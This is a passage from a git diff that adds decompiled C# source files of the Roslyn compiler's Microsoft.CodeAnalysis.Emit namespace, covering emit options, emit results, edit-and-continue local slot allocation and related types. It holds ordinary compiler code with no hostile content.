ImmutableArray instrumentationKinds, HashAlgorithmName? pdbChecksumAlgorithm) + : this(metadataOnly, debugInformationFormat, pdbFilePath, outputNameOverride, fileAlignment, baseAddress, highEntropyVirtualAddressSpace, subsystemVersion, runtimeMetadataVersion, tolerateErrors, includePrivateMembers, instrumentationKinds, pdbChecksumAlgorithm, null, null) + { + } + + public EmitOptions(bool metadataOnly = false, DebugInformationFormat debugInformationFormat = (DebugInformationFormat)0, string? pdbFilePath = null, string? outputNameOverride = null, int fileAlignment = 0, ulong baseAddress = 0uL, bool highEntropyVirtualAddressSpace = false, SubsystemVersion subsystemVersion = default(SubsystemVersion), string? runtimeMetadataVersion = null, bool tolerateErrors = false, bool includePrivateMembers = true, ImmutableArray instrumentationKinds = default(ImmutableArray), HashAlgorithmName? pdbChecksumAlgorithm = null, Encoding? defaultSourceFileEncoding = null, Encoding? fallbackSourceFileEncoding = null) + { + EmitMetadataOnly = metadataOnly; + DebugInformationFormat = ((debugInformationFormat == (DebugInformationFormat)0) ? DebugInformationFormat.Pdb : debugInformationFormat); + PdbFilePath = pdbFilePath; + OutputNameOverride = outputNameOverride; + FileAlignment = fileAlignment; + BaseAddress = baseAddress; + HighEntropyVirtualAddressSpace = highEntropyVirtualAddressSpace; + SubsystemVersion = subsystemVersion; + RuntimeMetadataVersion = runtimeMetadataVersion; + TolerateErrors = tolerateErrors; + IncludePrivateMembers = includePrivateMembers; + InstrumentationKinds = instrumentationKinds.NullToEmpty(); + PdbChecksumAlgorithm = pdbChecksumAlgorithm ?? HashAlgorithmName.SHA256; + DefaultSourceFileEncoding = defaultSourceFileEncoding; + FallbackSourceFileEncoding = fallbackSourceFileEncoding; + } + + private EmitOptions(EmitOptions other) + : this(other.EmitMetadataOnly, other.DebugInformationFormat, other.PdbFilePath, other.OutputNameOverride, other.FileAlignment, other.BaseAddress, other.HighEntropyVirtualAddressSpace, other.SubsystemVersion, other.RuntimeMetadataVersion, other.TolerateErrors, other.IncludePrivateMembers, other.InstrumentationKinds, other.PdbChecksumAlgorithm, other.DefaultSourceFileEncoding, other.FallbackSourceFileEncoding) + { + } + + internal void TestOnly_AllowLocalStateTracing() + { + _testOnly_AllowLocalStateTracing = true; + } + + public override bool Equals(object? obj) + { + return Equals(obj as EmitOptions); + } + + public bool Equals(EmitOptions? other) + { + if ((object)other == null) + { + return false; + } + if (EmitMetadataOnly == other.EmitMetadataOnly && BaseAddress == other.BaseAddress && FileAlignment == other.FileAlignment && HighEntropyVirtualAddressSpace == other.HighEntropyVirtualAddressSpace && SubsystemVersion.Equals(other.SubsystemVersion) && DebugInformationFormat == other.DebugInformationFormat && PdbFilePath == other.PdbFilePath && PdbChecksumAlgorithm == other.PdbChecksumAlgorithm && OutputNameOverride == other.OutputNameOverride && RuntimeMetadataVersion == other.RuntimeMetadataVersion && TolerateErrors == other.TolerateErrors && IncludePrivateMembers == other.IncludePrivateMembers && InstrumentationKinds.NullToEmpty().SequenceEqual(other.InstrumentationKinds.NullToEmpty(), (InstrumentationKind a, InstrumentationKind b) => a == b) && DefaultSourceFileEncoding == other.DefaultSourceFileEncoding) + { + return FallbackSourceFileEncoding == other.FallbackSourceFileEncoding; + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(EmitMetadataOnly, Hash.Combine(BaseAddress.GetHashCode(), Hash.Combine(FileAlignment, Hash.Combine(HighEntropyVirtualAddressSpace, Hash.Combine(SubsystemVersion.GetHashCode(), Hash.Combine((int)DebugInformationFormat, Hash.Combine(PdbFilePath, Hash.Combine(PdbChecksumAlgorithm.GetHashCode(), Hash.Combine(OutputNameOverride, Hash.Combine(RuntimeMetadataVersion, Hash.Combine(TolerateErrors, Hash.Combine(IncludePrivateMembers, Hash.Combine(Hash.CombineValues(InstrumentationKinds), Hash.Combine(DefaultSourceFileEncoding, Hash.Combine(FallbackSourceFileEncoding, 0))))))))))))))); + } + + public static bool operator ==(EmitOptions? left, EmitOptions? right) + { + return object.Equals(left, right); + } + + public static bool operator !=(EmitOptions? left, EmitOptions? right) + { + return !object.Equals(left, right); + } + + internal void ValidateOptions(DiagnosticBag diagnostics, CommonMessageProvider messageProvider, bool isDeterministic) + { + if (!DebugInformationFormat.IsValid()) + { + diagnostics.Add(messageProvider.CreateDiagnostic(messageProvider.ERR_InvalidDebugInformationFormat, Location.None, (int)DebugInformationFormat)); + } + ImmutableArray.Enumerator enumerator = InstrumentationKinds.GetEnumerator(); + while (enumerator.MoveNext()) + { + InstrumentationKind current = enumerator.Current; + if ((current != (InstrumentationKind)(-1) || !_testOnly_AllowLocalStateTracing) && !current.IsValid()) + { + diagnostics.Add(messageProvider.CreateDiagnostic(messageProvider.ERR_InvalidInstrumentationKind, Location.None, (int)current)); + } + } + if (OutputNameOverride != null) + { + MetadataHelpers.CheckAssemblyOrModuleName(OutputNameOverride, messageProvider, messageProvider.ERR_InvalidOutputName, diagnostics); + } + if (FileAlignment != 0 && !IsValidFileAlignment(FileAlignment)) + { + diagnostics.Add(messageProvider.CreateDiagnostic(messageProvider.ERR_InvalidFileAlignment, Location.None, FileAlignment)); + } + if (!SubsystemVersion.Equals(SubsystemVersion.None) && !SubsystemVersion.IsValid) + { + diagnostics.Add(messageProvider.CreateDiagnostic(messageProvider.ERR_InvalidSubsystemVersion, Location.None, SubsystemVersion.ToString())); + } + if (PdbChecksumAlgorithm.Name != null) + { + try + { + IncrementalHash.CreateHash(PdbChecksumAlgorithm).Dispose(); + return; + } + catch + { + diagnostics.Add(messageProvider.CreateDiagnostic(messageProvider.ERR_InvalidHashAlgorithmName, Location.None, PdbChecksumAlgorithm.ToString())); + return; + } + } + if (isDeterministic) + { + diagnostics.Add(messageProvider.CreateDiagnostic(messageProvider.ERR_InvalidHashAlgorithmName, Location.None, "")); + } + } + + internal static bool IsValidFileAlignment(int value) + { + switch (value) + { + case 512: + case 1024: + case 2048: + case 4096: + case 8192: + return true; + default: + return false; + } + } + + public EmitOptions WithEmitMetadataOnly(bool value) + { + if (EmitMetadataOnly == value) + { + return this; + } + return new EmitOptions(this) + { + EmitMetadataOnly = value + }; + } + + public EmitOptions WithPdbFilePath(string path) + { + if (PdbFilePath == path) + { + return this; + } + return new EmitOptions(this) + { + PdbFilePath = path + }; + } + + public EmitOptions WithPdbChecksumAlgorithm(HashAlgorithmName name) + { + if (PdbChecksumAlgorithm == name) + { + return this; + } + return new EmitOptions(this) + { + PdbChecksumAlgorithm = name + }; + } + + public EmitOptions WithOutputNameOverride(string outputName) + { + if (OutputNameOverride == outputName) + { + return this; + } + return new EmitOptions(this) + { + OutputNameOverride = outputName + }; + } + + public EmitOptions WithDebugInformationFormat(DebugInformationFormat format) + { + if (DebugInformationFormat == format) + { + return this; + } + return new EmitOptions(this) + { + DebugInformationFormat = format + }; + } + + public EmitOptions WithFileAlignment(int value) + { + if (FileAlignment == value) + { + return this; + } + return new EmitOptions(this) + { + FileAlignment = value + }; + } + + public EmitOptions WithBaseAddress(ulong value) + { + if (BaseAddress == value) + { + return this; + } + return new EmitOptions(this) + { + BaseAddress = value + }; + } + + public EmitOptions WithHighEntropyVirtualAddressSpace(bool value) + { + if (HighEntropyVirtualAddressSpace == value) + { + return this; + } + return new EmitOptions(this) + { + HighEntropyVirtualAddressSpace = value + }; + } + + public EmitOptions WithSubsystemVersion(SubsystemVersion subsystemVersion) + { + if (subsystemVersion.Equals(SubsystemVersion)) + { + return this; + } + return new EmitOptions(this) + { + SubsystemVersion = subsystemVersion + }; + } + + public EmitOptions WithRuntimeMetadataVersion(string version) + { + if (RuntimeMetadataVersion == version) + { + return this; + } + return new EmitOptions(this) + { + RuntimeMetadataVersion = version + }; + } + + public EmitOptions WithTolerateErrors(bool value) + { + if (TolerateErrors == value) + { + return this; + } + return new EmitOptions(this) + { + TolerateErrors = value + }; + } + + public EmitOptions WithIncludePrivateMembers(bool value) + { + if (IncludePrivateMembers == value) + { + return this; + } + return new EmitOptions(this) + { + IncludePrivateMembers = value + }; + } + + public EmitOptions WithInstrumentationKinds(ImmutableArray instrumentationKinds) + { + if (InstrumentationKinds == instrumentationKinds) + { + return this; + } + return new EmitOptions(this) + { + InstrumentationKinds = instrumentationKinds + }; + } + + public EmitOptions WithDefaultSourceFileEncoding(Encoding? defaultSourceFileEncoding) + { + if (DefaultSourceFileEncoding == defaultSourceFileEncoding) + { + return this; + } + return new EmitOptions(this) + { + DefaultSourceFileEncoding = defaultSourceFileEncoding + }; + } + + public EmitOptions WithFallbackSourceFileEncoding(Encoding? fallbackSourceFileEncoding) + { + if (FallbackSourceFileEncoding == fallbackSourceFileEncoding) + { + return this; + } + return new EmitOptions(this) + { + FallbackSourceFileEncoding = fallbackSourceFileEncoding + }; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/EmitResult.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/EmitResult.cs new file mode 100644 index 0000000..772a658 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/EmitResult.cs @@ -0,0 +1,28 @@ +using System.Collections.Immutable; +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.Emit; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +public class EmitResult +{ + public bool Success { get; } + + public ImmutableArray Diagnostics { get; } + + internal EmitResult(bool success, ImmutableArray diagnostics) + { + Success = success; + Diagnostics = diagnostics; + } + + protected virtual string GetDebuggerDisplay() + { + string text = "Success = " + (Success ? "true" : "false"); + if (Diagnostics != null) + { + return text + ", Diagnostics.Count = " + Diagnostics.Length; + } + return text + ", Diagnostics = null"; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/EncHoistedLocalInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/EncHoistedLocalInfo.cs new file mode 100644 index 0000000..f8df4dd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/EncHoistedLocalInfo.cs @@ -0,0 +1,61 @@ +using System; +using System.Diagnostics; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CodeGen; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Emit; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +internal readonly struct EncHoistedLocalInfo : IEquatable +{ + public readonly LocalSlotDebugInfo SlotInfo; + + public readonly ITypeReference? Type; + + public bool IsUnused => Type == null; + + public EncHoistedLocalInfo(bool _) + { + SlotInfo = new LocalSlotDebugInfo(SynthesizedLocalKind.EmitterTemp, LocalDebugId.None); + Type = null; + } + + public EncHoistedLocalInfo(LocalSlotDebugInfo slotInfo, ITypeReference type) + { + SlotInfo = slotInfo; + Type = type; + } + + public bool Equals(EncHoistedLocalInfo other) + { + if (SlotInfo.Equals(other.SlotInfo)) + { + return SymbolEquivalentEqualityComparer.Instance.Equals(Type, other.Type); + } + return false; + } + + public override bool Equals(object? obj) + { + if (obj is EncHoistedLocalInfo other) + { + return Equals(other); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(SymbolEquivalentEqualityComparer.Instance.GetHashCode(Type), SlotInfo.GetHashCode()); + } + + private string GetDebuggerDisplay() + { + if (IsUnused) + { + return "[invalid]"; + } + return $"[Id={SlotInfo.Id}, SynthesizedKind={SlotInfo.SynthesizedKind}, Type={Type}]"; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/EncHoistedLocalMetadata.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/EncHoistedLocalMetadata.cs new file mode 100644 index 0000000..0279414 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/EncHoistedLocalMetadata.cs @@ -0,0 +1,12 @@ +using Microsoft.Cci; + +namespace Microsoft.CodeAnalysis.Emit; + +internal readonly struct EncHoistedLocalMetadata(string name, ITypeReference type, SynthesizedLocalKind synthesizedKind) +{ + public readonly string Name = name; + + public readonly ITypeReference Type = type; + + public readonly SynthesizedLocalKind SynthesizedKind = synthesizedKind; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/EncLocalInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/EncLocalInfo.cs new file mode 100644 index 0000000..63a000b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/EncLocalInfo.cs @@ -0,0 +1,94 @@ +using System; +using System.Diagnostics; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CodeGen; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Emit; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +internal readonly struct EncLocalInfo : IEquatable +{ + public readonly LocalSlotDebugInfo SlotInfo; + + public readonly ITypeReference? Type; + + public readonly LocalSlotConstraints Constraints; + + public readonly byte[]? Signature; + + public readonly bool IsUnused; + + public bool IsDefault + { + get + { + if (Type == null) + { + return Signature == null; + } + return false; + } + } + + public EncLocalInfo(byte[] signature) + { + SlotInfo = new LocalSlotDebugInfo(SynthesizedLocalKind.EmitterTemp, LocalDebugId.None); + Type = null; + Constraints = LocalSlotConstraints.None; + Signature = signature; + IsUnused = true; + } + + public EncLocalInfo(LocalSlotDebugInfo slotInfo, ITypeReference type, LocalSlotConstraints constraints, byte[]? signature) + { + SlotInfo = slotInfo; + Type = type; + Constraints = constraints; + Signature = signature; + IsUnused = false; + } + + public bool Equals(EncLocalInfo other) + { + if (SlotInfo.Equals(other.SlotInfo) && SymbolEquivalentEqualityComparer.Instance.Equals(Type, other.Type) && Constraints == other.Constraints) + { + return IsUnused == other.IsUnused; + } + return false; + } + + public override bool Equals(object? obj) + { + if (obj is EncLocalInfo other) + { + return Equals(other); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(SlotInfo.GetHashCode(), Hash.Combine(SymbolEquivalentEqualityComparer.Instance.GetHashCode(Type), Hash.Combine((int)Constraints, Hash.Combine(IsUnused, 0)))); + } + + private string GetDebuggerDisplay() + { + if (IsDefault) + { + return "[default]"; + } + if (IsUnused) + { + return "[invalid]"; + } + return string.Format("[Id={0}, SynthesizedKind={1}, Type={2}, Constraints={3}, Sig={4}]", new object[5] + { + SlotInfo.Id, + SlotInfo.SynthesizedKind, + Type, + Constraints, + (Signature != null) ? BitConverter.ToString(Signature) : "null" + }); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/EncVariableSlotAllocator.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/EncVariableSlotAllocator.cs new file mode 100644 index 0000000..8fdcea5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/EncVariableSlotAllocator.cs @@ -0,0 +1,249 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Reflection.Metadata; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.CodeAnalysis.Emit; + +internal sealed class EncVariableSlotAllocator : VariableSlotAllocator +{ + private readonly SymbolMatcher _symbolMap; + + private readonly Func? _syntaxMap; + + private readonly IMethodSymbolInternal _previousTopLevelMethod; + + private readonly DebugId _methodId; + + private readonly IReadOnlyDictionary _previousLocalSlots; + + private readonly ImmutableArray _previousLocals; + + private readonly string? _stateMachineTypeName; + + private readonly int _hoistedLocalSlotCount; + + private readonly IReadOnlyDictionary? _hoistedLocalSlots; + + private readonly int _awaiterCount; + + private readonly IReadOnlyDictionary? _awaiterMap; + + private readonly IReadOnlyDictionary<(int syntaxOffset, AwaitDebugId awaitId), StateMachineState>? _stateMachineStateMap; + + private readonly StateMachineState? _firstUnusedDecreasingStateMachineState; + + private readonly StateMachineState? _firstUnusedIncreasingStateMachineState; + + private readonly IReadOnlyDictionary>? _lambdaMap; + + private readonly IReadOnlyDictionary? _closureMap; + + private readonly LambdaSyntaxFacts _lambdaSyntaxFacts; + + public override DebugId? MethodId => _methodId; + + public override string? PreviousStateMachineTypeName => _stateMachineTypeName; + + public override int PreviousHoistedLocalSlotCount => _hoistedLocalSlotCount; + + public override int PreviousAwaiterSlotCount => _awaiterCount; + + public EncVariableSlotAllocator(SymbolMatcher symbolMap, Func? syntaxMap, IMethodSymbolInternal previousTopLevelMethod, DebugId methodId, ImmutableArray previousLocals, IReadOnlyDictionary>? lambdaMap, IReadOnlyDictionary? closureMap, string? stateMachineTypeName, int hoistedLocalSlotCount, IReadOnlyDictionary? hoistedLocalSlots, int awaiterCount, IReadOnlyDictionary? awaiterMap, IReadOnlyDictionary<(int syntaxOffset, AwaitDebugId awaitId), StateMachineState>? stateMachineStateMap, StateMachineState? firstUnusedIncreasingStateMachineState, StateMachineState? firstUnusedDecreasingStateMachineState, LambdaSyntaxFacts lambdaSyntaxFacts) + { + _symbolMap = symbolMap; + _syntaxMap = syntaxMap; + _previousLocals = previousLocals; + _previousTopLevelMethod = previousTopLevelMethod; + _methodId = methodId; + _hoistedLocalSlots = hoistedLocalSlots; + _hoistedLocalSlotCount = hoistedLocalSlotCount; + _stateMachineTypeName = stateMachineTypeName; + _awaiterCount = awaiterCount; + _awaiterMap = awaiterMap; + _stateMachineStateMap = stateMachineStateMap; + _lambdaMap = lambdaMap; + _closureMap = closureMap; + _lambdaSyntaxFacts = lambdaSyntaxFacts; + _firstUnusedIncreasingStateMachineState = firstUnusedIncreasingStateMachineState; + _firstUnusedDecreasingStateMachineState = firstUnusedDecreasingStateMachineState; + Dictionary dictionary = new Dictionary(); + for (int i = 0; i < previousLocals.Length; i++) + { + EncLocalInfo key = previousLocals[i]; + if (!key.IsUnused) + { + dictionary.Add(key, i); + } + } + _previousLocalSlots = dictionary; + } + + private int CalculateSyntaxOffsetInPreviousMethod(SyntaxNode node) + { + return _previousTopLevelMethod.CalculateLocalSyntaxOffset(_lambdaSyntaxFacts.GetDeclaratorPosition(node), node.SyntaxTree); + } + + public override void AddPreviousLocals(ArrayBuilder builder) + { + builder.AddRange(_previousLocals.Select((EncLocalInfo info, int index) => new SignatureOnlyLocalDefinition(info.Signature, index))); + } + + private bool TryGetPreviousLocalId(SyntaxNode currentDeclarator, LocalDebugId currentId, out LocalDebugId previousId) + { + if (_syntaxMap == null) + { + previousId = currentId; + return true; + } + SyntaxNode syntaxNode = _syntaxMap(currentDeclarator); + if (syntaxNode == null) + { + previousId = default(LocalDebugId); + return false; + } + int syntaxOffset = CalculateSyntaxOffsetInPreviousMethod(syntaxNode); + previousId = new LocalDebugId(syntaxOffset, currentId.Ordinal); + return true; + } + + public override LocalDefinition? GetPreviousLocal(ITypeReference currentType, ILocalSymbolInternal currentLocalSymbol, string? name, SynthesizedLocalKind kind, LocalDebugId id, LocalVariableAttributes pdbAttributes, LocalSlotConstraints constraints, ImmutableArray dynamicTransformFlags, ImmutableArray tupleElementNames) + { + if (id.IsNone) + { + return null; + } + if (!TryGetPreviousLocalId(currentLocalSymbol.GetDeclaratorSyntax(), id, out var previousId)) + { + return null; + } + ITypeReference typeReference = _symbolMap.MapReference(currentType); + if (typeReference == null) + { + return null; + } + EncLocalInfo key = new EncLocalInfo(new LocalSlotDebugInfo(kind, previousId), typeReference, constraints, null); + if (!_previousLocalSlots.TryGetValue(key, out var value)) + { + return null; + } + return new LocalDefinition(currentLocalSymbol, name, currentType, value, kind, id, pdbAttributes, constraints, dynamicTransformFlags, tupleElementNames); + } + + public override bool TryGetPreviousHoistedLocalSlotIndex(SyntaxNode currentDeclarator, ITypeReference currentType, SynthesizedLocalKind synthesizedKind, LocalDebugId currentId, DiagnosticBag diagnostics, out int slotIndex) + { + if (_hoistedLocalSlots == null) + { + slotIndex = -1; + return false; + } + if (!TryGetPreviousLocalId(currentDeclarator, currentId, out var previousId)) + { + slotIndex = -1; + return false; + } + ITypeReference typeReference = _symbolMap.MapReference(currentType); + if (typeReference == null) + { + slotIndex = -1; + return false; + } + EncHoistedLocalInfo key = new EncHoistedLocalInfo(new LocalSlotDebugInfo(synthesizedKind, previousId), typeReference); + return _hoistedLocalSlots.TryGetValue(key, out slotIndex); + } + + public override bool TryGetPreviousAwaiterSlotIndex(ITypeReference currentType, DiagnosticBag diagnostics, out int slotIndex) + { + if (_awaiterMap == null) + { + slotIndex = -1; + return false; + } + ITypeReference key = _symbolMap.MapReference(currentType); + return _awaiterMap.TryGetValue(key, out slotIndex); + } + + private bool TryGetPreviousSyntaxOffset(SyntaxNode currentSyntax, out int previousSyntaxOffset) + { + SyntaxNode syntaxNode = _syntaxMap?.Invoke(currentSyntax); + if (syntaxNode == null) + { + previousSyntaxOffset = 0; + return false; + } + previousSyntaxOffset = CalculateSyntaxOffsetInPreviousMethod(syntaxNode); + return true; + } + + private bool TryGetPreviousLambdaSyntaxOffset(SyntaxNode lambdaOrLambdaBodySyntax, bool isLambdaBody, out int previousSyntaxOffset) + { + SyntaxNode arg = (isLambdaBody ? _lambdaSyntaxFacts.GetLambda(lambdaOrLambdaBodySyntax) : lambdaOrLambdaBodySyntax); + SyntaxNode syntaxNode = _syntaxMap?.Invoke(arg); + if (syntaxNode == null) + { + previousSyntaxOffset = 0; + return false; + } + SyntaxNode syntaxNode2; + if (isLambdaBody) + { + syntaxNode2 = _lambdaSyntaxFacts.TryGetCorrespondingLambdaBody(syntaxNode, lambdaOrLambdaBodySyntax); + if (syntaxNode2 == null) + { + previousSyntaxOffset = 0; + return false; + } + } + else + { + syntaxNode2 = syntaxNode; + } + previousSyntaxOffset = CalculateSyntaxOffsetInPreviousMethod(syntaxNode2); + return true; + } + + public override bool TryGetPreviousClosure(SyntaxNode scopeSyntax, out DebugId closureId) + { + if (_closureMap != null && TryGetPreviousSyntaxOffset(scopeSyntax, out var previousSyntaxOffset) && _closureMap.TryGetValue(previousSyntaxOffset, out closureId)) + { + return true; + } + closureId = default(DebugId); + return false; + } + + public override bool TryGetPreviousLambda(SyntaxNode lambdaOrLambdaBodySyntax, bool isLambdaBody, out DebugId lambdaId) + { + if (_lambdaMap != null && TryGetPreviousLambdaSyntaxOffset(lambdaOrLambdaBodySyntax, isLambdaBody, out var previousSyntaxOffset) && _lambdaMap.TryGetValue(previousSyntaxOffset, out var value)) + { + lambdaId = value.Key; + return true; + } + lambdaId = default(DebugId); + return false; + } + + public override StateMachineState? GetFirstUnusedStateMachineState(bool increasing) + { + if (!increasing) + { + return _firstUnusedDecreasingStateMachineState; + } + return _firstUnusedIncreasingStateMachineState; + } + + public override bool TryGetPreviousStateMachineState(SyntaxNode syntax, AwaitDebugId awaitId, out StateMachineState state) + { + if (_stateMachineStateMap != null && TryGetPreviousSyntaxOffset(syntax, out var previousSyntaxOffset) && _stateMachineStateMap.TryGetValue((previousSyntaxOffset, awaitId), out state)) + { + return true; + } + state = StateMachineState.FirstUnusedState; + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/ErrorType.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/ErrorType.cs new file mode 100644 index 0000000..81e0041 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/ErrorType.cs @@ -0,0 +1,139 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection.Metadata; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Emit; + +internal class ErrorType : INamespaceTypeReference, INamedTypeReference, ITypeReference, IReference, INamedEntity +{ + private sealed class ErrorAssembly : IAssemblyReference, IModuleReference, IUnitReference, IReference, INamedEntity + { + public static readonly ErrorAssembly Singleton = new ErrorAssembly(); + + private static readonly AssemblyIdentity s_identity = new AssemblyIdentity("Error" + Guid.NewGuid().ToString("B"), AssemblyIdentity.NullVersion, "", ImmutableArray.Empty); + + AssemblyIdentity IAssemblyReference.Identity => s_identity; + + Version IAssemblyReference.AssemblyVersionPattern => null; + + string INamedEntity.Name => s_identity.Name; + + IAssemblyReference IModuleReference.GetContainingAssembly(EmitContext context) + { + return this; + } + + IEnumerable IReference.GetAttributes(EmitContext context) + { + return SpecializedCollections.EmptyEnumerable(); + } + + void IReference.Dispatch(MetadataVisitor visitor) + { + visitor.Visit(this); + } + + IDefinition IReference.AsDefinition(EmitContext context) + { + return null; + } + + ISymbolInternal IReference.GetInternalSymbol() + { + return null; + } + } + + public static readonly ErrorType Singleton = new ErrorType(); + + private static readonly string s_name = "Error" + Guid.NewGuid().ToString("B"); + + string INamespaceTypeReference.NamespaceName => ""; + + ushort INamedTypeReference.GenericParameterCount => 0; + + bool INamedTypeReference.MangleName => false; + + string? INamedTypeReference.AssociatedFileIdentifier => null; + + bool ITypeReference.IsEnum => false; + + bool ITypeReference.IsValueType => false; + + Microsoft.Cci.PrimitiveTypeCode ITypeReference.TypeCode => Microsoft.Cci.PrimitiveTypeCode.NotPrimitive; + + TypeDefinitionHandle ITypeReference.TypeDef => default(TypeDefinitionHandle); + + IGenericMethodParameterReference ITypeReference.AsGenericMethodParameterReference => null; + + IGenericTypeInstanceReference ITypeReference.AsGenericTypeInstanceReference => null; + + IGenericTypeParameterReference ITypeReference.AsGenericTypeParameterReference => null; + + INamespaceTypeReference ITypeReference.AsNamespaceTypeReference => this; + + INestedTypeReference ITypeReference.AsNestedTypeReference => null; + + ISpecializedNestedTypeReference ITypeReference.AsSpecializedNestedTypeReference => null; + + string INamedEntity.Name => s_name; + + IUnitReference INamespaceTypeReference.GetUnit(EmitContext context) + { + return ErrorAssembly.Singleton; + } + + ITypeDefinition ITypeReference.GetResolvedType(EmitContext context) + { + return null; + } + + INamespaceTypeDefinition ITypeReference.AsNamespaceTypeDefinition(EmitContext context) + { + return null; + } + + INestedTypeDefinition ITypeReference.AsNestedTypeDefinition(EmitContext context) + { + return null; + } + + ITypeDefinition ITypeReference.AsTypeDefinition(EmitContext context) + { + return null; + } + + IEnumerable IReference.GetAttributes(EmitContext context) + { + return SpecializedCollections.EmptyEnumerable(); + } + + void IReference.Dispatch(MetadataVisitor visitor) + { + visitor.Visit(this); + } + + IDefinition IReference.AsDefinition(EmitContext context) + { + return null; + } + + ISymbolInternal IReference.GetInternalSymbol() + { + return null; + } + + public sealed override bool Equals(object obj) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Emit/ErrorType.cs", 196); + } + + public sealed override int GetHashCode() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Emit/ErrorType.cs", 202); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/IPEDeltaAssemblyBuilder.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/IPEDeltaAssemblyBuilder.cs new file mode 100644 index 0000000..67a994d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/IPEDeltaAssemblyBuilder.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.Emit; + +internal interface IPEDeltaAssemblyBuilder +{ + void OnCreatedIndices(DiagnosticBag diagnostics); + + SynthesizedTypeMaps GetSynthesizedTypes(); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/InstrumentationKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/InstrumentationKind.cs new file mode 100644 index 0000000..e8f4583 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/InstrumentationKind.cs @@ -0,0 +1,7 @@ +namespace Microsoft.CodeAnalysis.Emit; + +public enum InstrumentationKind +{ + None, + TestCoverage +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/InstrumentationKindExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/InstrumentationKindExtensions.cs new file mode 100644 index 0000000..bac78e2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/InstrumentationKindExtensions.cs @@ -0,0 +1,15 @@ +namespace Microsoft.CodeAnalysis.Emit; + +internal static class InstrumentationKindExtensions +{ + internal const InstrumentationKind LocalStateTracing = (InstrumentationKind)(-1); + + internal static bool IsValid(this InstrumentationKind value) + { + if (value >= InstrumentationKind.None) + { + return value <= InstrumentationKind.TestCoverage; + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/IteratorMoveNextBodyDebugInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/IteratorMoveNextBodyDebugInfo.cs new file mode 100644 index 0000000..86be9fc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/IteratorMoveNextBodyDebugInfo.cs @@ -0,0 +1,11 @@ +using Microsoft.Cci; + +namespace Microsoft.CodeAnalysis.Emit; + +internal sealed class IteratorMoveNextBodyDebugInfo : StateMachineMoveNextBodyDebugInfo +{ + public IteratorMoveNextBodyDebugInfo(IMethodDefinition kickoffMethod) + : base(kickoffMethod) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/LambdaSyntaxFacts.cs 